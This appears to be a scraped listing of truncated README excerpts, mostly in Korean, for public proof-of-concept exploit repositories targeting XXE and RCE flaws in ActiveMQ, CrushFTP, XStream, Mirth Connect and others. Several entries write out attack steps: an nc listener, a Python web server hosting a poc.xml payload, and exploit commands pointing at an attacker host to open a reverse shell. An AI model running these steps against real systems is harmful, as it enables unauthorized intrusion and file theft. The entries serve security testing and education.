CVE-2022-2414

EN GenXMLExternalEntityExploit 는 XML External Entity XXE 취약점 악용을 시연하기 위한 PoC 스크립트입니다. 이 스크립트는 XML 페이로드를 사용하여 대상 서버에서 민감한 파일을 읽습니다. 보안 테스트, 침투 테스트 또는 교육 목적으로 유용할 수 있습니다. 기능 지정된 서버에 조작된 XML 페이로드를 전송합니다. XXE 취약점을 악용하여 서버 파일을 읽습니다. 대상 URL과 페이로드 데이터를 쉽게 사용자 정의할 수 있습니다. 사용 방법 1. 저장소 복제 git clone...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC 예시 package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" + " \n" + " \n"...

CVE-2026-63077

JetBrains TeamCity에서의 인증되지 않은 원격 코드 실행 CVE-2026-63077 개요 이 스크립트는 CVE-2026-63077에 대한 개념 증명PoC 익스플로잇입니다. 조직은 이 스크립트를 사용하여 탐지 및 패치 적용 현황을 검증할 수 있습니다. CVE-2026-63077에 대한 전체 기술 분석은 Rapid7 분석 문서를 참조하십시오. 사용법 $ python3 CVE-2026-63077.py --help usage: CVE-2026-63077.py -h --cmd CMD --webroot-relative...

CVE-2019-16941

CVE-2019-16941 개념 증명Proof-of-Concept: 이 취약점이 트리거되려면 여러 가지 상대적으로 발생 가능성이 낮은 조건이 필요하며, 이로 인해 악용 가능성은 제한적입니다. 그러나 임의 코드 실행으로 이어질 수 있다는 점을 고려하면 페이로드를 준비하는 데 드는 노력과 이해는 적습니다. 페이로드 생성: 대상이 실행할 페이로드를 만들기 위해 Ghidra에 포함된 스크립트를 사용할 수 있습니다. 이 스크립트에 접근하려면 "창Window" - "스크립트 관리자Script Manager"를 클릭하고 Code...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

프로젝트 참조 이 프로젝트는 https://github.com/X1r0z/ActiveMQ-RCE 프로젝트의 exp를 참조하여 다시 작성한 python 버전의 exp입니다. 사용법 python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 -p 매개변수는 기본적으로 activeMQ의 기본 포트입니다. -x 매개변수는 프로토콜 접두사를 추가해야 합니다. 소개 여기에 openwire 프로토콜의 그림을 첨부하면 이해하기 쉽습니다. 아래는...

ShatteredFTP

ShatteredFTP 듀얼 익스플로이터 개요 이 익스플로잇 스크립트는 CrushFTP의 사용자 생성/인증 프로세스의 취약점을 대상으로 하며, 두 가지 모드를 지원합니다: CVE-2025-2825 사용자 생성 중 XML 페이로드 처리의 결함을 악용합니다. 타겟의 웹 인터페이스가 Rapid7 분석에 따라 응답할 때 이 모드를 사용하세요. CVE-2025-31161 약간의 차이가 있는 인증 메커니즘의 변종을 악용합니다. 타겟이 CVE-2025-2825 페이로드를 필터링하는 경우 이 모드를 사용하세요. 주요 기능 듀얼 CVE 모드:...

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ 이 익스플로잇은 https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE에서 제공하는 기본 작업을 기반으로 합니다. 우리는 Metasploit Framework https://github.com/rapid7/metasploit-framework를 활용하여 리버스 셸을 달성하기 위해 기술을 더욱 발전시켰습니다. 사용법: 중요: XML 파일의 IP 주소11행의 0.0.0.0를 페이로드가...

CVE-2019-19871-AuditGuide

업데이트 2020년 1월 22일 이제 FireEye에서 제공하는 도구를 사용하여 아래 항목들을 스캔할 수 있습니다. 핵심은 익스플로잇이 실행된 이후의 작업을 확인할 수 있도록 2020년 1월 9일까지의 충분한 로그가 있어야 한다는 점입니다. .XML 페이로드 파일이 발견되면 아래 정보를 사용하여 조치를 결정해야 합니다...

St2-052

S2-052의 POC 테스트원래 이름: Tomcat war 배포 원문 주소: http://blog.csdn.net/caiqiiqi/article/details/77861477 struts2 공식 웹사이트에서 마지막으로 영향을 받는 버전인 struts-2.5.12를 다운로드하세요. 주소: http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip struts-2.5.12-apps만 다운로드하면 됩니다. struts-2.5.12-all.zip은 다운로드할 필요가 없습니...

ppsx-file-generator

소개 작성자: Temesgen Yibeltal [email protected] 코드 기반: https://github.com/bhdresh/CVE-2017-8570 현재 삭제됨 ppsx-file-generator는 기존 파일을 기반으로 원격 소스에서 코드를 실행하는 파워포인트 슬라이드 쇼 파일을 생성하는 파이썬 도구입니다. 기능 이 도구는 입력된 내용을 바탕으로 파워포인트 슬라이드 쇼 파일과 XML 파일을 생성합니다. 파워포인트 파일은 페이로드 파일의 정보를 담고 있는 XML 파일에 접근합니다. 공격자는 로컬 또는 공...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Apache ActiveMQ의 인증되지 않은 원격 코드 실행을 위한 Python 구현 설정 및 익스플로잇 nc -lvnp 4444 - 리스너 시작 python3 -m http.server 8080 - 페이로드가 포함된 poc.xml 호스팅 python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - 익스플로잇 시작...

CVE-2023-43208

CVE-2023-43208 Mirth Connect RCE PoC Mirth Connect의 CVE-2023-43208 을 대상으로 하는 개념 증명PoC Python 스크립트입니다. 면책 조항 소유하고 있거나 명시적으로 테스트할 권한이 있는 환경에서만 사용하세요. 이 저장소는 보안 연구, 검증, 방어적 테스트를 위한 것입니다. 저자는 이 도구로 인한 오용 또는 피해에 대해 책임을 지지 않습니다. 개요 exp.py는 PoC의 최소 의존성 버전으로, 다음과 같은 기능을 수행합니다: 대상이 Mirth Connect 인스턴스로 보이는...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic 실습 환경 이 저장소는 Apache ActiveMQ Classic의 CVE-2026-34197 을 연구하고 취약한 인스턴스를 패치된 빌드와 비교하기 위한 로컬 실습 환경을 포함합니다. 이 저장소는 두 가지 목표를 지원하도록 구성되어 있습니다: 문제를 엄격히 통제되고 격리된 환경에서 재현합니다. 패치된 ActiveMQ Classic 빌드에서 수정 동작을 검증합니다. 면책 조항 이 저장소는 귀하가 소유하거나 명시적으로 테스트가 허가된 격리된 실습 환경에서 엄격히 합법적이고...

CVE-2021-38647

CVE-2021-38647 이것은 CVE-2021-38647에 대한 POC입니다 : /wsman에 POST 요청을 보내고 payload.xml의 내용을 사용하여 원하는 명령어만 변경하십시오, POC로서, id 명령어만 실행됩니다. 출처: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure 마음에 드신다면 팔로우하세요 : https://twitter.com/silentgh00st...

CVE-2025-31161

CVE-2025-31161 - CrushFTP 사용자 생성 인증 우회 익스플로잇 📌 설명 이 Python 익스플로잇은 CVE-2025-31161 에 취약한 CrushFTP 서버를 대상으로 합니다. 이 취약점은 인증되지 않은 사용자 계정 생성 을 가능하게 하며, WebInterface에 조작된 XML 페이로드를 전송하여 잠재적으로 서버 전체를 장악할 수 있습니다. ⚠️ 면책 조항 이 도구는 교육 및 공인된 보안 테스트 목적으로만 사용해야 합니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 무단으로 사용하는 것은 불법 이...

CVE-2023-46604

CVE-2023-46604 요구 환경에 따라 피해자 머신과 대상 머신의 2개 이미지를 포함한 docker-compose를 구축합니다. 피해자 머신에서 ActiveMQ를 시작합니다. 공격자 머신으로 전환: • HTTP 서비스를 열어 poc를 전송합니다: python3 -m http.server • netcat을 사용하여 공격자 머신으로의 연결을 수신합니다: nc -nlvp 4444 • 공격자 머신으로 reverse shell 연결을 생성하는 페이로드를 전송합니다: python3 exploit.py -i 172.18.0.3 -p...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC java.net.InetAddress를 사용한 탐지 POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type: application/xml...

CVE-2023-46604

CVE-2023-46604 요구 환경에 따라 피해자 머신과 대상 머신으로 구성된 2개의 이미지를 포함하는 docker-compose를 구축합니다. 피해자 머신에서 ActiveMQ를 시작합니다. 공격자 머신으로 전환합니다: • HTTP 서비스를 열어 poc를 전송합니다: python3 -m http.server • netcat을 사용하여 공격자 머신으로의 연결을 수신 대기합니다: nc -nlvp 4444 • 공격자 머신으로 리버스 셸 연결을 생성하는 payload를 전송합니다: python3 exploit.py -i...

CVE-2026-79572

An XXE XML External Entity vulnerability in the level-rule module of Distribution Management v1.0.0 allows attackers to read sensitive files, scan internal networks, or launch server attacks via supplying a crafted XML payload...

CVE-2026-79572

An XXE XML External Entity vulnerability in the level-rule module of Distribution Management v1.0.0 allows attackers to read sensitive files, scan internal networks, or launch server attacks via supplying a crafted XML payload...